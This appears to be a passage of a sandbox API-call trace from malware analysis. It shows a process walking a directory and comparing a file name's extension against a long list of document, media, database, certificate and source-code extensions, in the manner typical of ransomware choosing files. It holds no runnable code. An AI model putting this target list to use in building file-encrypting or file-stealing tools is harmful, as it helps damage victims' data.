	[0180.301] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a0eddf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a0eddf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a0eddf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x261a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1
	[0180.301] lstrlenW (lpString="EppManifest.dll") returned 15
	[0180.301] lstrlenW (lpString=".1cd") returned 4
	[0180.301] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0180.301] lstrlenW (lpString=".3ds") returned 4
	[0180.301] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0180.301] lstrlenW (lpString=".3fr") returned 4
	[0180.301] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0180.301] lstrlenW (lpString=".3g2") returned 4
	[0180.301] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0180.301] lstrlenW (lpString=".3gp") returned 4
	[0180.301] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0180.301] lstrlenW (lpString=".7z") returned 3
	[0180.302] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0180.302] lstrlenW (lpString=".accda") returned 6
	[0180.302] lstrcmpiW (lpString1=".accda", lpString2="st.dll") returned -1
	[0180.302] lstrlenW (lpString=".accdb") returned 6
	[0180.302] lstrcmpiW (lpString1=".accdb", lpString2="st.dll") returned -1
	[0180.302] lstrlenW (lpString=".accdc") returned 6
	[0180.302] lstrcmpiW (lpString1=".accdc", lpString2="st.dll") returned -1
	[0180.302] lstrlenW (lpString=".accde") returned 6
	[0180.302] lstrcmpiW (lpString1=".accde", lpString2="st.dll") returned -1
	[0180.345] lstrlenW (lpString=".accdt") returned 6
	[0180.345] lstrcmpiW (lpString1=".accdt", lpString2="st.dll") returned -1
	[0180.345] lstrlenW (lpString=".accdw") returned 6
	[0180.345] lstrcmpiW (lpString1=".accdw", lpString2="st.dll") returned -1
	[0180.345] lstrlenW (lpString=".adb") returned 4
	[0180.345] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0180.345] lstrlenW (lpString=".adp") returned 4
	[0180.347] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0180.347] lstrlenW (lpString=".ai") returned 3
	[0180.347] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0180.347] lstrlenW (lpString=".ai3") returned 4
	[0180.347] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0180.347] lstrlenW (lpString=".ai4") returned 4
	[0180.347] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0180.347] lstrlenW (lpString=".ai5") returned 4
	[0180.347] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0180.347] lstrlenW (lpString=".ai6") returned 4
	[0180.347] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0180.347] lstrlenW (lpString=".ai7") returned 4
	[0180.347] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0180.347] lstrlenW (lpString=".ai8") returned 4
	[0180.347] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0180.347] lstrlenW (lpString=".anim") returned 5
	[0180.347] lstrcmpiW (lpString1=".anim", lpString2="t.dll") returned -1
	[0180.347] lstrlenW (lpString=".arw") returned 4
	[0180.347] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0180.347] lstrlenW (lpString=".as") returned 3
	[0180.347] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0180.347] lstrlenW (lpString=".asa") returned 4
	[0180.348] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0180.348] lstrlenW (lpString=".asc") returned 4
	[0180.348] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0180.348] lstrlenW (lpString=".ascx") returned 5
	[0180.348] lstrcmpiW (lpString1=".ascx", lpString2="t.dll") returned -1
	[0180.348] lstrlenW (lpString=".asm") returned 4
	[0180.348] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0180.348] lstrlenW (lpString=".asmx") returned 5
	[0180.348] lstrcmpiW (lpString1=".asmx", lpString2="t.dll") returned -1
	[0180.348] lstrlenW (lpString=".asp") returned 4
	[0180.348] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0180.348] lstrlenW (lpString=".aspx") returned 5
	[0180.348] lstrcmpiW (lpString1=".aspx", lpString2="t.dll") returned -1
	[0180.348] lstrlenW (lpString=".asr") returned 4
	[0180.348] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0180.348] lstrlenW (lpString=".asx") returned 4
	[0180.348] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0180.348] lstrlenW (lpString=".avi") returned 4
	[0180.348] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0180.348] lstrlenW (lpString=".avs") returned 4
	[0180.348] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0180.348] lstrlenW (lpString=".backup") returned 7
	[0180.348] lstrcmpiW (lpString1=".backup", lpString2="est.dll") returned -1
	[0180.348] lstrlenW (lpString=".bak") returned 4
	[0180.348] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0180.349] lstrlenW (lpString=".bay") returned 4
	[0180.349] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0180.349] lstrlenW (lpString=".bd") returned 3
	[0180.349] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0180.349] lstrlenW (lpString=".bin") returned 4
	[0180.349] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0180.349] lstrlenW (lpString=".bmp") returned 4
	[0180.349] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0180.349] lstrlenW (lpString=".bz2") returned 4
	[0180.349] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0180.349] lstrlenW (lpString=".c") returned 2
	[0180.349] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0180.349] lstrlenW (lpString=".cdr") returned 4
	[0180.349] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0180.349] lstrlenW (lpString=".cer") returned 4
	[0180.349] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0180.349] lstrlenW (lpString=".cf") returned 3
	[0180.349] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0180.349] lstrlenW (lpString=".cfc") returned 4
	[0180.349] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0180.350] lstrlenW (lpString=".cfm") returned 4
	[0180.350] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0180.350] lstrlenW (lpString=".cfml") returned 5
	[0180.350] lstrcmpiW (lpString1=".cfml", lpString2="t.dll") returned -1
	[0180.350] lstrlenW (lpString=".cfu") returned 4
	[0180.350] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0180.350] lstrlenW (lpString=".chm") returned 4
	[0180.350] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0180.350] lstrlenW (lpString=".cin") returned 4
	[0180.350] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0180.350] lstrlenW (lpString=".class") returned 6
	[0180.350] lstrcmpiW (lpString1=".class", lpString2="st.dll") returned -1
	[0180.350] lstrlenW (lpString=".clx") returned 4
	[0180.350] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0180.350] lstrlenW (lpString=".config") returned 7
	[0180.350] lstrcmpiW (lpString1=".config", lpString2="est.dll") returned -1
	[0180.350] lstrlenW (lpString=".cpp") returned 4
	[0180.350] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0180.351] lstrlenW (lpString=".cr2") returned 4
	[0180.351] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0180.351] lstrlenW (lpString=".crt") returned 4
	[0180.351] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0180.351] lstrlenW (lpString=".crw") returned 4
	[0180.351] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0180.351] lstrlenW (lpString=".cs") returned 3
	[0180.351] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0180.351] lstrlenW (lpString=".css") returned 4
	[0180.351] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0180.351] lstrlenW (lpString=".csv") returned 4
	[0180.351] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0180.351] lstrlenW (lpString=".cub") returned 4
	[0180.351] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0180.351] lstrlenW (lpString=".dae") returned 4
	[0180.351] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0180.351] lstrlenW (lpString=".dat") returned 4
	[0180.351] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0180.351] lstrlenW (lpString=".db") returned 3
	[0180.351] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0180.351] lstrlenW (lpString=".dbf") returned 4
	[0180.351] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0180.351] lstrlenW (lpString=".dbx") returned 4
	[0180.351] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0180.352] lstrlenW (lpString=".dc3") returned 4
	[0180.352] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0180.352] lstrlenW (lpString=".dcm") returned 4
	[0180.352] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0180.352] lstrlenW (lpString=".dcr") returned 4
	[0180.352] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0180.352] lstrlenW (lpString=".der") returned 4
	[0180.352] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0180.352] lstrlenW (lpString=".dib") returned 4
	[0180.352] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0180.352] lstrlenW (lpString=".dic") returned 4
	[0180.352] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0180.352] lstrlenW (lpString=".dif") returned 4
	[0180.352] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0180.352] lstrlenW (lpString=".divx") returned 5
	[0180.352] lstrcmpiW (lpString1=".divx", lpString2="t.dll") returned -1
	[0180.352] lstrlenW (lpString=".djvu") returned 5
	[0180.353] lstrcmpiW (lpString1=".djvu", lpString2="t.dll") returned -1
	[0180.353] lstrlenW (lpString=".dng") returned 4
	[0180.353] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0180.353] lstrlenW (lpString=".doc") returned 4
	[0180.353] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0180.353] lstrlenW (lpString=".docm") returned 5
	[0180.353] lstrcmpiW (lpString1=".docm", lpString2="t.dll") returned -1
	[0180.353] lstrlenW (lpString=".docx") returned 5
	[0180.353] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0180.353] lstrlenW (lpString=".dot") returned 4
	[0180.353] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0180.353] lstrlenW (lpString=".dotm") returned 5
	[0180.353] lstrcmpiW (lpString1=".dotm", lpString2="t.dll") returned -1
	[0180.353] lstrlenW (lpString=".dotx") returned 5
	[0180.353] lstrcmpiW (lpString1=".dotx", lpString2="t.dll") returned -1
	[0180.353] lstrlenW (lpString=".dpx") returned 4
	[0180.353] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0180.353] lstrlenW (lpString=".dqy") returned 4
	[0180.353] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0180.353] lstrlenW (lpString=".dsn") returned 4
	[0180.353] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0180.353] lstrlenW (lpString=".dt") returned 3
	[0180.354] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0180.354] lstrlenW (lpString=".dtd") returned 4
	[0180.354] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0180.354] lstrlenW (lpString=".dwg") returned 4
	[0180.354] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0180.354] lstrlenW (lpString=".dwt") returned 4
	[0180.354] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0180.354] lstrlenW (lpString=".dx") returned 3
	[0180.354] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0180.354] lstrlenW (lpString=".dxf") returned 4
	[0180.354] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0180.354] lstrlenW (lpString=".edml") returned 5
	[0180.354] lstrcmpiW (lpString1=".edml", lpString2="t.dll") returned -1
	[0180.354] lstrlenW (lpString=".efd") returned 4
	[0180.354] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0180.354] lstrlenW (lpString=".elf") returned 4
	[0180.354] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0180.354] lstrlenW (lpString=".emf") returned 4
	[0180.354] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0180.354] lstrlenW (lpString=".emz") returned 4
	[0180.354] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0180.354] lstrlenW (lpString=".epf") returned 4
	[0180.354] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0180.354] lstrlenW (lpString=".eps") returned 4
	[0180.354] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0180.354] lstrlenW (lpString=".epsf") returned 5
	[0180.354] lstrcmpiW (lpString1=".epsf", lpString2="t.dll") returned -1
	[0180.355] lstrlenW (lpString=".epsp") returned 5
	[0180.355] lstrcmpiW (lpString1=".epsp", lpString2="t.dll") returned -1
	[0180.355] lstrlenW (lpString=".erf") returned 4
	[0180.355] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0180.355] lstrlenW (lpString=".exr") returned 4
	[0180.355] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0180.357] lstrlenW (lpString=".f4v") returned 4
	[0180.357] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0180.357] lstrlenW (lpString=".fido") returned 5
	[0180.358] lstrcmpiW (lpString1=".fido", lpString2="t.dll") returned -1
	[0180.358] lstrlenW (lpString=".flm") returned 4
	[0180.358] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0180.358] lstrlenW (lpString=".flv") returned 4
	[0180.358] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0180.358] lstrlenW (lpString=".frm") returned 4
	[0180.358] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0180.358] lstrlenW (lpString=".fxg") returned 4
	[0180.358] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0180.358] lstrlenW (lpString=".geo") returned 4
	[0180.358] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0180.358] lstrlenW (lpString=".gif") returned 4
	[0180.358] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0180.358] lstrlenW (lpString=".grs") returned 4
	[0180.358] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0180.358] lstrlenW (lpString=".gz") returned 3
	[0180.358] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0180.358] lstrlenW (lpString=".h") returned 2
	[0180.358] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0180.358] lstrlenW (lpString=".hdr") returned 4
	[0180.358] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0180.358] lstrlenW (lpString=".hpp") returned 4
	[0180.358] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0180.358] lstrlenW (lpString=".hta") returned 4
	[0180.358] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0180.358] lstrlenW (lpString=".htc") returned 4
	[0180.358] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0180.358] lstrlenW (lpString=".htm") returned 4
	[0180.358] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0180.358] lstrlenW (lpString=".html") returned 5
	[0180.359] lstrcmpiW (lpString1=".html", lpString2="t.dll") returned -1
	[0180.359] lstrlenW (lpString=".icb") returned 4
	[0180.359] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0180.359] lstrlenW (lpString=".ics") returned 4
	[0180.359] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0180.359] lstrlenW (lpString=".iff") returned 4
	[0180.359] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0180.359] lstrlenW (lpString=".inc") returned 4
	[0180.359] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0180.359] lstrlenW (lpString=".indd") returned 5
	[0180.359] lstrcmpiW (lpString1=".indd", lpString2="t.dll") returned -1
	[0180.359] lstrlenW (lpString=".ini") returned 4
	[0180.359] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0180.359] lstrlenW (lpString=".iqy") returned 4
	[0180.359] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0180.359] lstrlenW (lpString=".j2c") returned 4
	[0180.359] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0180.359] lstrlenW (lpString=".j2k") returned 4
	[0180.359] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0180.359] lstrlenW (lpString=".java") returned 5
	[0180.359] lstrcmpiW (lpString1=".java", lpString2="t.dll") returned -1
	[0180.359] lstrlenW (lpString=".jp2") returned 4
	[0180.359] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0180.359] lstrlenW (lpString=".jpc") returned 4
	[0180.359] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0180.360] lstrlenW (lpString=".jpe") returned 4
	[0180.360] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0180.360] lstrlenW (lpString=".jpeg") returned 5
	[0180.360] lstrcmpiW (lpString1=".jpeg", lpString2="t.dll") returned -1
	[0180.360] lstrlenW (lpString=".jpf") returned 4
	[0180.360] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0180.360] lstrlenW (lpString=".jpg") returned 4
	[0180.360] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0180.360] lstrlenW (lpString=".jpx") returned 4
	[0180.360] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0180.360] lstrlenW (lpString=".js") returned 3
	[0180.360] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0180.360] lstrlenW (lpString=".jsf") returned 4
	[0180.360] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0180.360] lstrlenW (lpString=".json") returned 5
	[0180.360] lstrcmpiW (lpString1=".json", lpString2="t.dll") returned -1
	[0180.360] lstrlenW (lpString=".jsp") returned 4
	[0180.360] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0180.360] lstrlenW (lpString=".kdc") returned 4
	[0180.360] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0180.360] lstrlenW (lpString=".kmz") returned 4
	[0180.361] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0180.361] lstrlenW (lpString=".kwm") returned 4
	[0180.361] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0180.361] lstrlenW (lpString=".lasso") returned 6
	[0180.361] lstrcmpiW (lpString1=".lasso", lpString2="st.dll") returned -1
	[0180.361] lstrlenW (lpString=".lbi") returned 4
	[0180.361] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0180.361] lstrlenW (lpString=".lgf") returned 4
	[0180.361] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0180.361] lstrlenW (lpString=".lgp") returned 4
	[0180.361] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0180.361] lstrlenW (lpString=".log") returned 4
	[0180.361] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0180.361] lstrlenW (lpString=".m1v") returned 4
	[0180.361] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0180.361] lstrlenW (lpString=".m4a") returned 4
	[0180.361] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0180.361] lstrlenW (lpString=".m4v") returned 4
	[0180.361] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0180.361] lstrlenW (lpString=".max") returned 4
	[0180.361] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0180.361] lstrlenW (lpString=".md") returned 3
	[0180.361] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0180.361] lstrlenW (lpString=".mda") returned 4
	[0180.361] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0180.361] lstrlenW (lpString=".mdb") returned 4
	[0180.362] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0180.362] lstrlenW (lpString=".mde") returned 4
	[0180.362] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0180.362] lstrlenW (lpString=".mdf") returned 4
	[0180.362] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0180.362] lstrlenW (lpString=".mdw") returned 4
	[0180.362] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0180.362] lstrlenW (lpString=".mef") returned 4
	[0180.362] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0180.362] lstrlenW (lpString=".mft") returned 4
	[0180.362] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0180.362] lstrlenW (lpString=".mfw") returned 4
	[0180.362] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0180.362] lstrlenW (lpString=".mht") returned 4
	[0180.362] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0180.362] lstrlenW (lpString=".mhtml") returned 6
	[0180.362] lstrcmpiW (lpString1=".mhtml", lpString2="st.dll") returned -1
	[0180.362] lstrlenW (lpString=".mka") returned 4
	[0180.362] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0180.362] lstrlenW (lpString=".mkidx") returned 6
	[0180.362] lstrcmpiW (lpString1=".mkidx", lpString2="st.dll") returned -1
	[0180.362] lstrlenW (lpString=".mkv") returned 4
	[0180.362] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0180.362] lstrlenW (lpString=".mos") returned 4
	[0180.363] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0180.363] lstrlenW (lpString=".mov") returned 4
	[0180.363] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0180.363] lstrlenW (lpString=".mp3") returned 4
	[0180.363] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0180.363] lstrlenW (lpString=".mp4") returned 4
	[0180.363] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0180.363] lstrlenW (lpString=".mpeg") returned 5
	[0180.363] lstrcmpiW (lpString1=".mpeg", lpString2="t.dll") returned -1
	[0180.363] lstrlenW (lpString=".mpg") returned 4
	[0180.363] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0180.363] lstrlenW (lpString=".mpv") returned 4
	[0180.363] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0180.363] lstrlenW (lpString=".mrw") returned 4
	[0180.363] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0180.363] lstrlenW (lpString=".msg") returned 4
	[0180.363] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0180.363] lstrlenW (lpString=".mxl") returned 4
	[0180.363] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0180.363] lstrlenW (lpString=".myd") returned 4
	[0180.363] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0180.363] lstrlenW (lpString=".myi") returned 4
	[0180.363] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0180.363] lstrlenW (lpString=".nef") returned 4
	[0180.363] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0180.363] lstrlenW (lpString=".nrw") returned 4
	[0180.363] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0180.363] lstrlenW (lpString=".obj") returned 4
	[0180.364] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0180.364] lstrlenW (lpString=".odb") returned 4
	[0180.364] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0180.364] lstrlenW (lpString=".odc") returned 4
	[0180.364] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0180.364] lstrlenW (lpString=".odm") returned 4
	[0180.364] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0180.364] lstrlenW (lpString=".odp") returned 4
	[0180.364] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0180.364] lstrlenW (lpString=".ods") returned 4
	[0180.364] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0180.364] lstrlenW (lpString=".oft") returned 4
	[0180.364] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0180.364] lstrlenW (lpString=".one") returned 4
	[0180.364] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0180.364] lstrlenW (lpString=".onepkg") returned 7
	[0180.364] lstrcmpiW (lpString1=".onepkg", lpString2="est.dll") returned -1
	[0180.364] lstrlenW (lpString=".onetoc2") returned 8
	[0180.364] lstrcmpiW (lpString1=".onetoc2", lpString2="fest.dll") returned -1
	[0180.364] lstrlenW (lpString=".opt") returned 4
	[0180.364] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0180.364] lstrlenW (lpString=".oqy") returned 4
	[0180.364] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0180.364] lstrlenW (lpString=".orf") returned 4
	[0180.364] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0180.364] lstrlenW (lpString=".p12") returned 4
	[0180.364] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0180.364] lstrlenW (lpString=".p7b") returned 4
	[0180.365] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0180.365] lstrlenW (lpString=".p7c") returned 4
	[0180.365] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0180.365] lstrlenW (lpString=".pam") returned 4
	[0180.365] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0180.365] lstrlenW (lpString=".pbm") returned 4
	[0180.365] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0180.365] lstrlenW (lpString=".pct") returned 4
	[0180.365] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0180.365] lstrlenW (lpString=".pcx") returned 4
	[0180.365] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0180.365] lstrlenW (lpString=".pdd") returned 4
	[0180.365] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0180.365] lstrlenW (lpString=".pdf") returned 4
	[0180.365] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0180.365] lstrlenW (lpString=".pdp") returned 4
	[0180.365] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0180.365] lstrlenW (lpString=".pef") returned 4
	[0180.365] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0180.365] lstrlenW (lpString=".pem") returned 4
	[0180.366] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0180.366] lstrlenW (lpString=".pff") returned 4
	[0180.366] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0180.366] lstrlenW (lpString=".pfm") returned 4
	[0180.366] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0180.366] lstrlenW (lpString=".pfx") returned 4
	[0180.366] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0180.366] lstrlenW (lpString=".pgm") returned 4
	[0180.366] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0180.366] lstrlenW (lpString=".php") returned 4
	[0180.366] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0180.366] lstrlenW (lpString=".php3") returned 5
	[0180.366] lstrcmpiW (lpString1=".php3", lpString2="t.dll") returned -1
	[0180.366] lstrlenW (lpString=".php4") returned 5
	[0180.366] lstrcmpiW (lpString1=".php4", lpString2="t.dll") returned -1
	[0180.366] lstrlenW (lpString=".php5") returned 5
	[0180.366] lstrcmpiW (lpString1=".php5", lpString2="t.dll") returned -1
	[0180.366] lstrlenW (lpString=".phtml") returned 6
	[0180.366] lstrcmpiW (lpString1=".phtml", lpString2="st.dll") returned -1
	[0180.377] lstrlenW (lpString=".pict") returned 5
	[0180.377] lstrcmpiW (lpString1=".pict", lpString2="t.dll") returned -1
	[0180.377] lstrlenW (lpString=".pl") returned 3
	[0180.377] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0180.377] lstrlenW (lpString=".pls") returned 4
